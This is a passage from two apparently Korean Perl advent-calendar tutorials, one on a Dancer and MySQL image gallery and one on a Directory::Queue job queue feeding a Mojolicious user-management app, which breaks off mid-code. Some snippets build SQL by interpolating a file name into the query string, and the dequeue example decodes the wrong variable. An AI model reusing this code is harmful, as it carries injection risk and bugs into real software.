<li><code>/</code> 가 디렉토리 구분이 아닌, 인자 구분용이라는 것이 일반적인 웹 데몬 사용자가 Dancer를 접했을 때 이해가 잘 안되는 부분인데, Dancer에서 사용하는 URL이 서버쪽 경로랑 일치하지 않는 다는 것을 이해하면 됩니다.</li>
</ul></li>
<li>mysql에 접속해서 배열을 얻는 것은 control 영역이네요. lib/my.pm 에서 해결합니다. 1이랑 30을 각각 변수에 넣고 -> SQL문으로 만들어 결과를 다시 Perl 배열로 받아 -> 템플릿 엔진으로 넘깁니다.</li>
<li>view 영역입니다. 앞서 넘겨 받은 배열을 템플릿 엔진에서 처리하고요. 템플릿 엔진에서도 Perl 비슷한 문법으로 프로그래밍 가능합니다.</li>
</ul>
<h2 id="db">DB 테이블 모양</h2>
<pre class="brush: plain;">
mysql> describe rgr201210;
+-------+----------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------+----------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| no | int(11) | NO | | NULL | |
| name | char(37) | NO | | NULL | |
+-------+----------+------+-----+---------+----------------+
mysql> describe md5_list;
+----------+----------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+----------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| saveTime | datetime | NO | | NULL | |
| name | char(37) | NO | | NULL | |
+----------+----------+------+-----+---------+----------------+
</pre>
<p><a href="http://cafe.naver.com/perlstudy/1397">삽질기 - 이미지 긁어와서 저장하기 - 썸네일의 생성까지</a>의 스크립트에서 이미지 파일를 수집하여 해당 파일의 이름을 입력합니다.</p>
<pre class="brush: perl;">
# sql 작성
my $sql_time = time_p();
my $sql = "insert into md5_list ( saveTime, name ) values ( \"$sql_time\", \"$file_name\")";
my $sth = $dbh->prepare($sql);
$sth->execute or die "$DBI::errstr\n";
</pre>
<p>입력된 데이터는 다음과 같습니다(아래 스크린샷의 프로그램은 <a href="https://www.metacpan.org/module/App::AltSQL">App::AltSQL</a>입니다.)</p>
<p><img src="2012-12-04-03_r.jpg" alt="md5_list 일부" id="md5_list" />
<em>그림 3.</em> md5_list 일부 (<a href="2012-12-04-03.jpg">원본</a>)</p>
<pre class="brush: plain;">
select name from md5_list order by id desc limig 0, 10;
</pre>
<p>위 SQL문을 실행해서, name 배열을 얻어온 다음, 해당 배열을 이미지가 실제 저장된 경로를 지정해 HTML TAG IMG를 씌우면 될거 같네요!!</p>
<h2 id="perldbi">Perl DBI 사용하기</h2>
<p>Perl 에서 MySQL 접속해서 결과를 어떻게 받아오면 될까요?
<a href="https://www.metacpan.org/module/DBI">DBI</a> 문서를 봅시다.
<code>fetchrow_hashref</code>, <code>selectcol_arrayref</code> 같은걸 쓰면 결과를 해쉬 레퍼런스나 배열 레퍼런스로 받아올 수 있는 모양입니다.</p>
<h3 id="perldbimysql">Perl에서 DBI(MySQL) 사용하기 예시</h3>
<p>DBI 모듈을 써야 합니다. mysql 설정 및 DB 생성은 생략합니다.
옛날 글이지만 이해하기 쉬운 <a href="http://database.sarang.net/database/mysql/tutorial/MySQL_Tutorial-KLDP">mysql 튜토리얼</a>를 참고하세요.</p>
<pre class="brush: perl;">
#!/usr/bin/perl
use strict;
use warnings;
use DBI; # perl에서 DB 사용을 위한 모듈입니다. DBD::MySQL도 설치 되어야 함.
# mysql 접속 과정 리눅스 커맨드라인에서 아래 명령어 실행한 것과 같으려나요.
# mysql -uDBUSER -pDBPASSWORD DBNAME
my $dbh = DBI->connect(
'dbi:mysql:database=DBNAME',
'DBUSER',
'DBPASSWORD',
{ RaiseError => 1, PrintError => 0, AutoCommit => 0 },
);
# 이제 MySQL 접속이 됐습니다. 쿼리를 보내봅시다.
# 아래 내용은 MySQL 접속 후
# select * from rg_img;
# 한 것과 같습니다.
my $sql = "select * from rg_img";
my $sth = $dbh->prepare($sql);
$sth->execute or die "$DBI::errstr\n";
while ( my @row = $sth->fetchrow_array ) {
print "@row\n";
}
$dbh->disconnect();
</pre>
<p>이 테스트가 되면 Perl에서 MySQL 접속해서 정보 가져오기가 가능합니다.</p>
<h2>이미지 파일 위치</h2>
<p>정적 파일은 <code>public</code> 밑에 두면 됩니다.
편의를 위해 사이트별로 디렉토리를 만들고, 그리고 수많은 파일을 적절히 저장하기 위해 md5를 이용해 파일명을 변경, 앞의 두 글자를 따서 디렉토리 00 ~ FF개를 생성하고 -> 거기에 맞는 위치에 파일을 저장 중입니다.</p>
<pre class="brush: plain;">
Dancer Root/public/rgr/
.
|____00
| |____00e805967b64bb85c892eca3ab4bb6c1.jpg
| |____00cda059e36a6ba121976bfa6010aa0c.jpg
| |____0016d5dc919de8c2b176b84745f079c9.jpg
| ………중략………..
|____82
| |____82e805967b64bb85c892eca3ab4bb6c1.jpg
| |____82cda059e36a6ba121976bfa6010aa0c.jpg
| |____8216d5dc919de8c2b176b84745f079c9.jpg
| ………중략………..
|____cf
| |____cfef5f425c83f9c398f76f8299d126c5.jpg
| |____cff5bc5665f9cdbb328189a9b4e48af7.jpg
| |____cf3c3bcf519822ded8ec0b8d1f129a52.jpg
|____ff
|____ff3c3bcf519822ded8ec0b8d1f129a52.jpg
</pre>
<h2>이제 달려볼까?</h2>
<p>필요한건 어느정도 갖춘거 같습니다. 소스에 곁들인 주석과 함께 봅시다.</p>
<h3 id="myapp">MyApp 소스 일부</h3>
<pre class="brush: perl;">
package MyDancer;
use 5.012;
use Dancer ':syntax';
use Dancer::Plugin::Database;
use Data::Dump; # 디버그용으로 넣어둔 모듈입니다.
our $VERSION = '0.1';
# 기본으로 있는 페이지. Dancer 대문이네요. 그냥 두기로 합니다.
get '/' => sub {
template 'index';
};
# URL 끝에 '/'가 붙어도 다른 경로로 인식합니다. 없는 경로라고 에러가 나오니까 리다이렉트를 하나 만들었습니다.
get '/:site/' => sub {
my $site = params->{site};
redirect "/$site";
};
# 가장 기본 페이지.
get '/:site' => sub {
my $site = params->{site};
my $start = 0;
my $view = 30;
# $site에 해당하는 테이블을 읽어올 수 있도록 만든 해쉬
my %db = (
"rgr" => "md5_list",
"bi" => "md5_bi",
);
# $site명이 엉뚱한거라 테이블이 없는 경우 첫 페이지로 보냄
unless ( defined $db{$site} ) {
redirect "/";
return;
}
# 저장된 이미지 전체 갯수를 구하기 위한 부분, 이게 있어야 $view 크기를 제한할 수 있고(이미지는 1000개인데 $view는 2000을 요청할 수 있기 때문), 끝 페이지 링크 생성할 수 있다.
my $sql = "SELECT id FROM $db{$site} WHERE id order by id DESC LIMIT 0, 1";
my @end = @{database->selectcol_arrayref($sql)};
my $end_page = $end[0];
# 0에서 30까지 그림 파일 이름 얻어오기. $start와 $view를 이용.
$sql = "SELECT name FROM $db{$site} WHERE id order by id DESC LIMIT $start, $view";
my @ary = @{database->selectcol_arrayref($sql)};
my @nary; # 실제 경로 저장을 위해 만든 배열
foreach my $tmp ( @ary ) {
$tmp =~ s,(..)(.*),$1/$1$2,g; # name의 앞부분 두글자 떼다 디렉토리로 이용
push @nary, $tmp;
}
$start += $view;
# 템플릿 view/result.tt 로 변수를 넘깁니다.
template 'result', {
images => [@nary],
start => $start,
img_num => $view,
end_page => $end_page,
site => $site,
};
};
</pre>
<h3 id="view:result.tt">view : result.tt 내용</h3>
<pre class="brush: plain;">
<a href="/[% site %]">최근 이미지 보기</a>
[% IF (start - img_num * 2) > 0 %]
<a href="/[% site %]/[% img_num %]/[% start - img_num * 2%]">[% start - img_num * 2 %]</a>
[% END %]
[% start - img_num %]
<a href="/[% site %]/[% img_num %]/[% start %]">[% start %]</a>
<a href="/[% site %]/[% img_num %]/[% start + img_num %]">[% start + img_num %]</a>
<a href="/[% site %]/[% img_num %]/[% start + img_num * 2 %]">[% start + img_num * 2 %]</a>
<a href="/[% site %]/[% img_num %]/[% start + img_num * 3 %]">[% start + img_num * 3 %]</a>
<a href="/[% site %]/[% img_num %]/[% start + img_num * 4 %]">[% start + img_num * 4 %]</a>
<a href="/[% site %]/[% img_num %]/[% end_page - 30 %]">[% end_page - 30 %]</a>
<ol>
[% FOREACH file IN images %]
<li><img src="/[% site %]/[% file %]" /></li>
[% END %]
</ol>
<a href="/[% site %]">최근 이미지 보기</a>
[% IF (start - img_num * 2) > 0 %]
<a href="/[% site %]/[% img_num %]/[% start - img_num * 2%]">[% start - img_num * 2 %]</a>
[% END %]
[% start - img_num %]
<a href="/[% site %]/[% img_num %]/[% start %]">[% start %]</a>
<a href="/[% site %]/[% img_num %]/[% start + img_num %]">[% start + img_num %]</a>
<a href="/[% site %]/[% img_num %]/[% start + img_num * 2 %]">[% start + img_num * 2 %]</a>
<a href="/[% site %]/[% img_num %]/[% start + img_num * 3 %]">[% start + img_num * 3 %]</a>
<a href="/[% site %]/[% img_num %]/[% start + img_num * 4 %]">[% start + img_num * 4 %]</a>
<a href="/[% site %]/[% img_num %]/[% end_page - 30 %]">[% end_page - 30 %]</a>
</pre>
<h3>결과</h3>
<p><img src="2012-12-04-04_r.jpg" alt="썸네일" id="" />
<em>그림 4.</em> 썸네일 (<a href="2012-12-04-04.jpg">원본</a>)</p>
<p>사실 위에 있는 코드를 그대로 실행한 페이지가 아니라, 썸네일 보기 페이지 입니다.
주소 표시줄에 /th/가 포함되어 있으면 이미지 경로를</p>
<ul>
<li>/[% site %]/[% file %]</li>
<li>/[% site %]<strong>/thumb/</strong>[% file %]</li>
</ul>
<p>위와 같이 보여주는 템플릿을 따로 만들었거든요.
<code>./lib/MyDancer.pm</code>에서 템플릿 엔진으로 배열을 넘길 때, 아예 HTML 태그를 다 완성해서 넘겨주면 템플릿이 또 있어야 할 필요가 없습니다만, 전 그냥 간단하게 비슷한 코드와 템플릿 여러개 만드는 것으로 해결했습니다.
<em>TIMTOWTDI(There is more than one way to do it</em>, 무언가를 하는 방법은 (언제나)하나보다 많다)!!</p>
<h3>원본글로 링크</h3>
<p>이미지를 수집한 원본 글로 링크를 걸어주는 기능도 추가했는데, 이건 파일명만 넘겨줘선 안되고, 원본 URL을 만들 수 있는 정보도 같이 넘겨줘야 합니다.
DB 테이블 모양에서 나왔던 rgr201210이 원본글 정보를 갖고 있습니다. 'no'인데요,</p>
<pre class="brush: plain;">
http://rgrong.kr/bbs/view.php?id=rgr201210& .. 중략 .. &**no=180638**
</pre>
<p>위의 <code>no</code>에 해당하는 숫자를 DB에 저장했습니다.</p>
<pre class="brush: plain;">
mysql> describe rgr201210;
+-------+----------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------+----------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| no | int(11) | NO | | NULL | |
| name | char(37) | NO | | NULL | |
+-------+----------+------+-----+---------+----------------+
</pre>
<p>no와 name에서 각각 30개씩 값을 가져오고 싶은데, 펄로 자료형을 만들어 본다면 해쉬 안에 배열이거나, 배열 안에 해쉬가 들어가겠네요.
데이터를 복수의 컬럼으로 부터 Perl 해쉬 - 배열로 한번에 가져오는 기능이 DBI에 없는듯 하여, 반복문을 이용해 한줄씩 배열에 넣는 방법으로 처리했습니다. DBI 문서를 보고 각자 데이터 구조를 잘 설계해서 만들어봅시다.</p>
<pre class="brush: perl;">
my @ary;
my $count = 0;
while ( $count < $view ) {
my $sql = "select * from $db{$site} order by id desc limit $start, 1";
my $sth = database->prepare( $sql ); $sth->execute();
my $hr = $sth->fetchrow_hashref();
print "$hr->{'no'} $hr->{'name'}\n";
$hr->{'no'} = "$url{$site}$hr->{'no'}";
$hr->{'name'} =~ s,(..)(.*),$1/$1$2,g;
push @ary, $hr;
$start++;
$count++;
}
</pre>
<p>쿼리를 이미지 불러오는 횟수만큼 주는데 …뭔가 잘못 하고 있는 기분이 듭니다.
더 좋은 방법 있으면 알려주세요.;;;;</p>
<h2>맺음말</h2>
<p>직접 Dancer와 MySQL을 다뤄보며 궁금했던 부분에 대해 정리해, 비슷한 서비스를 필요로 하는 초보 분들이 쉽게 따라할 수 있는 기사를 작성해보고 따라만 하면 웹 서비스 하나가 완성되는 문서를 만들고자 하였으나, 각각 다른 환경에 대한 구성을 설명할 실력이 안 되네요.
이 기사의 의의는 1년 전만 해도 Perl에 대해 아는 것이 거의 없던 초보 JellyPooo가 웹 프레임워크, DB등을 주물럭 거리면서 웹 서비스를 만들어 냈다는데 두겠습니다. 그만큼 Perl과 관련 모듈은 쓰기 편하고 성능도 만족스럽습니다.
문서에서 설명되지 않거나 부실한 부분은 해 보시면서 검색과 수많은 삽질로 매워주시기 바라며, 다소 무책임한 이 기사를 마칩니다. 궁금하신 부분이나 기사의 오류 신고를 카페나 이 기사에 댓글로 남겨주시면 최대한 답변 및 수정하도록 하겠습니다.
문서 작성할 때 PSGI/Plack에 대한 이해를 못하고 있었는데, 이에 답해주신 yongbin 님, luz1una_hc 님께 감사 말씀 드립니다.</p>
<h2>참고문서</h2>
<h3 id="perl">Perl 환경 구성</h3>
<ul>
<li><a href="http://lotus.perl.kr/2012/08.html">perl 환경구축 최단코스</a></li>
</ul>
<h3>크롤링 관련</h3>
<ul>
<li><a href="http://lotus.perl.kr/2012/01.html">펄을 이용한 그림파일 긁어오기</a> by @JellyPooo
<ul>
<li>위 기사 하단에 스포츠 신문 연재만화 긁어오기는 현재 동작하지 않습니다. JavaScript 등으로 랜덤 변수를 생성해 크롤링을 차단했더군요.</li>
<li><a href="http://cafe.naver.com/perlstudy/1397">삽질기 - 이미지 긁어와서 저장하기 - 썸네일 생성까지</a> by @JellyPooo: 네이버 카페, 가입 필요.</li>
</ul></li>
<li><a href="http://advent.perl.kr/2010/2010-12-06.html">나만의 E-Book으로 따뜻한 크리스마스를</a> by @eeyees: 제가 만든 프로그램의 원형입니다. 필요한 기능을 추가하다보니 이 지경에 이르렀네요. @eeyees++
<ul>
<li>관련 발표 : <a href="http://www.slideshare.net/JellyPo/perl-perl-14826332">나의 Perl 투신기: 보다 나은 Perl 개미지옥을 위하여</a> by @JellyPooo</li>
</ul></li>
</ul>
<h3 id="dancermojoliciouspsgiuwsgi">웹 프레임워크 관련 : Dancer, Mojolicious, PSGI, uWSGI</h3>
<ul>
<li><a href="http://advent.perl.kr/2011/2011-12-06.html">초소형 프레임워크와 함께 춤을</a> by @am0c: 이번 기사에서 다룰 내용이 대부분 있습니다. 차이점이라면 DB를 MySQL가 아닌 redis를 사용 했다는 점?</li>
<li><a href="http://advent.perl.kr/2011/2011-12-12.html">웹툰을 한 눈에 내 만화 프로젝트 Manaba</a> by @rumidier</li>
<li><a href="http://slide.keedi.pe.kr/s/20121220-minimal-perl-webapp#/">Minimal Perl Web App for Your Minimal Life</a> by @keedi: Dancer만큼 가볍고 빠른 웹 프레임워크 Mojolicious에 대한 소개 슬라이드</li>
<li><a href="http://dev.kthcorp.com/2012/11/02/h3-2012-ebook/">H3 컨퍼런스 자료집</a></li>
<li><a href="https://metacpan.org/module/Dancer::Deployment">Dancer::Deployment</a>: Dancer 실행의 다양한 방법(영문)</li>
<li><a href="http://plackperl.org">PSGI/Plack</a> : PSGI 홈페이지(영문)</li>
<li><a href="http://search.cpan.org/~miyagawa/PSGI-1.101/PSGI/FAQ.pod">PSGI::FAQ</a>: PSGI::FAQ (영문)</li>
<li><a href="https://docs.google.com/presentation/pub?id=116VQT--oCOLDKaGktjVJLhoejBv3_5cVvsIjjVCSkR0&start=false&loop=false&delayms=3000#slide=id.p">Perl을 위한 Web App 실행 환경 꾸미기</a> by @yuni_kim: uWSGI가 짱!!</li>
</ul>
<h3 id="perldb">Perl과 DB에 관련된 문서 링크 모음</h3>
<ul>
<li>옛날 글이지만 이해하기 쉬운 <a href="http://database.sarang.net/database/mysql/tutorial/MySQL_Tutorial-KLDP">mysql 튜토리얼</a></li>
<li><a href="http://advent.perl.kr/2010/2010-12-11.html">Fey, Fey, Fey</a> by @y0ngbin</li>
<li><a href="http://advent.perl.kr/2011/2011-12-17.html">DBIx::Class로 스키마 관리하기</a> by @JEEN_LEE</li>
</ul>
2012-12-04T00:00:00+09:00JellyPooo내겐 너무 가벼운 잡큐http://advent.perl.kr/2012/2012-12-03.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>대부분의 사람은 동기적이기 때문에 많은 일을 하거나
많은 일을 맡길 때에도 동기적이려고 하며 동기적이길 기대합니다.
비동기적으로 일하기 위해서는 본능에 역행하는 노력이 필요합니다.
그러다보니 여러가지 IT 작업을 처리하다보면 자연스럽게
많은 일들을 동기적으로 처리하게 됩니다.
이것은 명확하며, 간결하고 이해하기 쉽죠.
하지만 때로는, 정말 때로는 어쩔수 없이 비동기적으로 처리해야 하는 일들도 있습니다.
요청에 대한 응답시간은 정해져 있는데 처음에 예상했던 것과 다르게
처리해야 할 것이 너무 많은 경우가 대표적인 경우입니다.
이 경우 최소한의 응답시간을 확보하기 위해 비동기로 일을 처리해야 하는데,
이 때 사용할 수 있는 가장 간결하고 손쉬운 방법이 바로 잡큐를 사용하는 것입니다.</p>
<pre class="brush: plain;">
Simple Job Queue +---------+
+--->| Worker1 |
| +---------+
------+----+----+----+----+----+----+ | +---------+
... | Jn |... | J4 | J3 | J2 | J1 | +--->| Worker2 |
| | | | | | +---+ +---------+
------+----+----+----+----+----+----+ | +---------+
+--->| Worker3 |
+---------+
</pre>
<p><a href="http://en.wikipedia.org/wiki/Job_queue">위키피디아의 정의</a>를 살펴보면 시스템 소프트웨어에서 잡큐는
배치 큐라고 하기도 하며 잡 스케줄러가 관리하면서 실행시키기 위해 필요한
작업 내역을 담고 있는 자료 구조라고 합니다.
잡큐를 사용하면 다음과 같은 장점이 있습니다.</p>
<ul>
<li>컴퓨터 자원을 많은 사용자가 공유할 수 있음</li>
<li>컴퓨터가 덜 바쁠때 작업을 처리할 수 있도록 시간을 조정할 수 있음</li>
<li>사람이 관리하지 않아도 컴퓨터 자원이 쉬는 것을 막을 수 있음</li>
<li>비싼 컴퓨터 자원을 높은 활용도로 사용할 수 있음</li>
</ul>
<p><a href="http://lotus.perl.kr/2012/09.html">2012년 석가탄신일 달력 아홉째 날의 기사</a> 역시 잡큐를 다루고 있습니다.
고전적이지만 널리 사용하고 있는 <a href="https://metacpan.org/module/TheSchwartz">TheSchwartz</a>
모듈과 <a href="https://metacpan.org/module/Qudo">Qudo</a> 모듈을 소개하고 있지요.
이 두 모듈은 무척 훌륭한 잡큐 시스템이지만, 두 가지 단점이 있습니다.
하나는 데이터베이스를 사용한다는 점이며, 다른 하나는 조금 복잡하다는 점입니다.
물론 데이터베이스는 오랜 시간 검증된 훌륭한 저장소이며, 상태를 저장하고
확인하기에는 더할 나위없이 좋지만, 구현하려는 시스템이 무척 간결하다면
이마저도 부담스러울 수 있습니다.
무엇보다 DB조차 필요없는 간결한 시스템을 구현했는데 잡큐 때문에
데이터베이스를 설치하고 설정하고 관리해야 하는 것은 관리 부담으로 다가옵니다.
아무래도 간결한 시스템이라면 간결한 잡큐가 낫겠죠. :)</p>
<p><a href="https://metacpan.org/module/Directory::Queue">Directory::Queue</a>는 데이터베이스 대신
파일 시스템을 저장 공간으로 사용하는 단순하고 간결한 큐입니다.
많은 기능을 제공하지는 않지만, 모듈 의존성이 적고 가벼운것이 특징입니다.
지금부터 <code>Directory::Queue</code>를 이용한 잡큐 시스템을 살펴보겠습니다.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/module/Directory::Queue">CPAN의 Directory::Queue 모듈</a></li>
<li><a href="https://metacpan.org/module/JSON">CPAN의 JSON 모듈</a></li>
<li><a href="https://metacpan.org/module/Try::Tiny">CPAN의 Try::Tiny 모듈</a></li>
<li><a href="https://metacpan.org/module/Mojolicious">CPAN의 Mojolicious 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Directory::Queue JSON Try::Tiny Mojolicious
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Directory::Queue JSON Try::Tiny Mojolicious
</pre>
<p><code>Directory::Queue</code> 모듈은 <a href="http://www.activestate.com/activeperl">ActivePerl</a>과
<a href="http://strawberryperl.com/">Strawberry Perl</a> 양쪽 모두에서 잘 동작합니다.
<em>AcitvePerl</em>을 사용하는 경우 <code>ppm</code>을 이용해서 설치하고
<em>Strawberry Perl</em>을 사용하는 경우 <code>cpan</code>을 이용해서 설치합니다.</p>
<h2>사용 방법</h2>
<p><code>Directory::Queue</code>는 다음 모듈로 구성됩니다.</p>
<ul>
<li><code>Directory::Queue</code></li>
<li><code>Directory::Queue::Null</code></li>
<li><code>Directory::Queue::Normal</code></li>
<li><code>Directory::Queue::Simple</code></li>
<li><code>Directory::Queue::Set</code></li>
</ul>
<p><code>Directory::Queue</code> 모듈은 <code>::Null</code>, <code>::Normal</code>, <code>::Simple</code> 모듈의
부모 클래스이면서 기본으로 객체 생성시 <code>Directory::Queue::Normal</code> 타입의
큐를 생성합니다.</p>
<pre class="brush: perl;">
use 5.010;
use strict;
use warnings;
use Directory::Queue;
my $dirq = Directory::Queue->new(path => "/tmp/test");
foreach $count (1 .. 100) {
my $name = $dirq->add(... some data ...);
say "# added element [$count] as [$name]";
}
</pre>
<p>앞의 예제는 <code>/tmp/test</code> 디렉터리를 저장소로 지정하고 <code>::Normal</code> 타입의
큐를 생성합니다. 이후 생성한 큐에 100개의 데이터를 집어 넣습니다.
<code>::Simple</code> 타입의 큐를 생성하려고 한다면 <code>type</code> 속성을 추가합니다.</p>
<pre class="brush: perl;">
use Directory::Queue;
my $dirq = Directory::Queue->new(
path => "/tmp/test",
type => "Simple",
);
</pre>
<p>또는 간단히 <code>Directory::Queue::<Type></code> 모듈을 사용해도 됩니다.</p>
<pre class="brush: perl;">
use Directory::Queue::Simple;
my $dirq = Directory::Queue::Simple->new(
path => "/tmp/test",
);
</pre>
<p><code>::Null</code> 큐는 *nix 시스템의 <code>/dev/null</code> 장치 파일처럼
모든 데이터를 삼켜버리고, <code>::Normal</code> 큐는 간단한 스키마를 지원하며,
<code>::Simple</code> 큐는 단순히 문자열만을 저장할 수 있습니다.
물론 여기서 말하는 문자열은 바이너리 문자열이기 때문에
마샬링, 언마샬링만 제대로 한다면 자료를 저장하는데 한계는 없습니다.
개인적으로는 <code>::Normal</code> 형식에서 사용하는 스키마가 조금 번거롭기도 하고,
번거로운 것에 비해 제공하는 타입이 다양하지는 않아,
<code>::Simple</code> 형식을 사용하되 잡큐에 <em>넣기 전</em>이나 <em>뺀 직후</em>에
직접 <em>JSON으로 마샬링/언마샬링</em>하는 방법을 선호합니다.</p>
<p>잡큐에서 집어넣는 자료를 추출하는 방법은 다음과 같습니다.</p>
<pre class="brush: perl;">
use 5.010;
use strict;
use warnings;
use Directory::Queue::Simple;
my $dirq = Directory::Queue::Simple->new(path => "/tmp/test");
for ( my $name = $dirq->first; $name; $name = $dirq->next ) {
next unless $dirq->lock($name);
say "# reading element $name";
$data = $dirq->get($name);
process_job($data) ? $dirq->remove($name) : $dirq->unlock($name);
}
</pre>
<p>자료를 집어넣을 때 사용한 저장소 위치와 동일한 경로를 사용해
큐 객체를 생성하고 <code>first()</code> 및 <code>next()</code> 메소드를 이용해서
큐를 순회합니다. <code>lock()</code> 메소드로 해당 아이템이 사용 가능한지 체크하고,
이후 <code>get()</code> 메소드로 데이터 추출을 합니다.
모든 작업이 완료되어 큐에서 해당 항목을 제거하려면 <code>remove()</code> 메소드를
사용하고, 추가 처리를 위해 큐에 남겨놓으려면 <code>unlock()</code> 메소드로
배타적 잠금을 해제합니다.</p>
<p>마지막으로 <code>::Set</code> 모듈은 여러 개의 잡큐를 생성할 경우
마치 하나의 잡큐처럼 동작할 수 있도록 추상 레이어를 제공합니다.
두 개 이상의 잡큐를 사용할 경우 무척 편리합니다.
자세한 내용은 <a href="https://metacpan.org/module/Directory::Queue">공식 문서</a>를 참조하세요.</p>
<h2 id="json">JSON 마샬링/언마샬링</h2>
<p>펄에서 손쉽게 자료를 마샬링/언마샬링하는 방법은 여러가지가 있습니다.</p>
<ul>
<li><a href="https://metacpan.org/module/Storable">Storable</a></li>
<li><a href="http://en.wikipedia.org/wiki/XML">XML</a></li>
<li><a href="http://www.json.org/">JSON</a></li>
<li><a href="http://msgpack.org/">MessagePack</a></li>
<li><a href="https://github.com/Sereal/Sereal">Sereal</a></li>
</ul>
<p><em>Storable</em>은 오랜 시간동안 유용하게 써오며 검증된 방식으로
펄의 코어 모듈에 들어가 있기 때문에 의존 모듈 없이 작업할
경우 무척 유용하게 사용할 수 있습니다.
<em>XML</em>은 SOAP 통신에서 즐겨 사용하던 데이더 인코딩/디코딩 규격으로
유연함 덕에 대부분의 자료를 표현할 수 있는 산업 표준입니다.
다만 무거운 구조 덕에 파싱의 부담이 됩니다.
<em>JSON</em>은 XML에 비해 상대적으로 간결하며 가볍습니다.
웹 프로그래밍 분야에서는 거의 표준이라고 볼 수 있습니다.
<em>MessagePack</em>과 <em>Sereal</em>은 비교적 오래되지 않은
바이너리 프로토콜로 속도에 중점을 둔 프로토콜입니다.</p>
<p>어떤 프로토콜을 사용해도 상관은 없지만 지금은
가벼우면서 디버깅이 용이할수록 좋겠죠?
따라서 JSON을 예로 들어 진행해보죠.
아! 앞에서도 말했다시피 큐는 <code>::Simple</code> 방식을 사용합니다. :)</p>
<h3>마샬링 -> 큐에 넣기</h3>
<p>마샬링을 해야하는 만큼 <code>enqueue()</code> 함수를 만들어 보죠.</p>
<pre class="brush: perl;">
use 5.010;
use strict;
use warnings;
use Directory::Queue::Simple;
use JSON;
use Try::Tiny;
my $dirq = Directory::Queue::Simple->new(path => "/tmp/test");
...
my $ret = enqueue($dirq, $data);
unless ($ret) {
# enqueue failed...
}
sub enqueue {
my ( $dirq, $data ) = @_;
# validate parameter
_validate_param($data);
my $json = try { encode_json($data) };
return unless $json;
my $job = $dirq->add($json);
return $job;
}
</pre>
<p><a href="https://metacpan.org/module/JSON">JSON</a> 모듈의 <code>encode_json()</code> 함수는 변환 실패시
프로그램을 종료시키므로 <a href="https://metacpan.org/module/Try::Tiny">Try::Tiny</a> 모듈을 이용해서
예외를 처리하도록 합니다.</p>
<h3>큐에서 빼기 -> 언마샬링</h3>
<p>이번에는 <code>dequeue()</code> 함수를 만들어 보죠.</p>
<pre class="brush: perl;">
use 5.010;
use strict;
use warnings;
use Directory::Queue::Simple;
use JSON;
use Try::Tiny;
my $dirq = Directory::Queue::Simple->new(path => "/tmp/test");
...
while ( my $data = dequeue($dirq) ) {
# process the job!
}
sub dequeue {
my $dirq = shift;
my $name;
for ( $name = $dirq->first; $name; $name = $dirq->next ) {
next unless $dirq->lock($name);
}
return unless $name;
my $json = $dirq->get($name);
my $data = try { decode_json($data) };
$dirq->remove($name);
return $data;
}
</pre>
<p><a href="https://metacpan.org/module/JSON">JSON</a> 모듈의 <code>decode_json()</code> 함수는 변환 실패시
프로그램을 종료시키므로 <a href="https://metacpan.org/module/Try::Tiny">Try::Tiny</a> 모듈을 이용해서
예외를 처리하도록 합니다.</p>
<h2>실전!!</h2>
<p>마샬링/언마샬링과 더불어 큐에 자료를 넣는 <code>enqueue()</code> 함수와
큐에서 자료를 빼오는 <code>dequeue()</code> 함수를 만들었으므로
이제는 정말 잡큐를 사용할 모든 준비가 끝났습니다.
자, 이제 실전입니다!
웹에서 사용자의 요청에 따라 해당 서버의 사용자 계정을
추가하거나 제거하는 기능을 넣어볼까요?
아마도 구성은 다음과 같을 것입니다.</p>
<pre class="brush: plain;">
User +----------+ +-----------------+
Req --------+ | Mojo | | Worker Daemon |
| |----------| |-----------------|
User +--->| | | Job Worker |
Req ------------>| | | add user |<-----+
+--->| WebApp | | delete user | |
User | | | +-----------------+ |
Req --------+ | | |
+----+-----+ |
| --------+--+-----+--+--+--+--+ |
+----> ... |Jn| ... |J4|J3|J2|J1|+--+
--------+--+-----+--+--+--+--+
</pre>
<h3>프론트엔드</h3>
<p>그럴듯한 잡큐 연동 시스템을 만들기 위해 간단한 웹앱을
만들어서 사용자의 요청을 받을 수 있도록 합니다.
새로 만드는 웹앱은 다음 두 가지 요청을 처리하도록 합니다.</p>
<ul>
<li><code>/user/add</code>: 사용자 추가</li>
<li><code>/user/del</code>: 사용자 제거</li>
</ul>
<p><a href="http://mojolicio.us/">Mojolicious</a>를 사용해서 간단히 웹앱을 구현한 예제는 다음과 같습니다.
이전에 구현한 <code>enqueue()</code> 함수를 소스 코드 내에 같이 포함시키거나
따로 모듈로 만들어서 <code>use</code>를 이용해 불러오도록 합니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
#
# FILE: manage-user-web.pl
#
use Mojolicious::Lite;
use Directory::Queue::Simple;
use JSON;
use Try::Tiny;
my $dirq = Directory::Queue::Simple->new( path => '/tmp/manage-user' );
post '/user/add' => sub {
my $self = shift;
my $id = $self->param('id');
my $name = $self->param('name');
my $key = $self->param('key');
$self->render_json({ err => 'require id' }), return unless $id;
$self->render_json({ err => 'require name' }), return unless $name;
$self->render_json({ err => 'require key' }), return unless $key;
my $ret = enqueue(
$dirq,
{
type => 'user.add',
id => $id,
name => $name,
key => $key,
},
);
$self->render_json({ err => 'enqueue failed' }), return unless $ret;
$self->render_json({ msg => 'user.add success' });
};
post '/user/del' => sub {
my $self = shift;
my $id = $self->param('id');
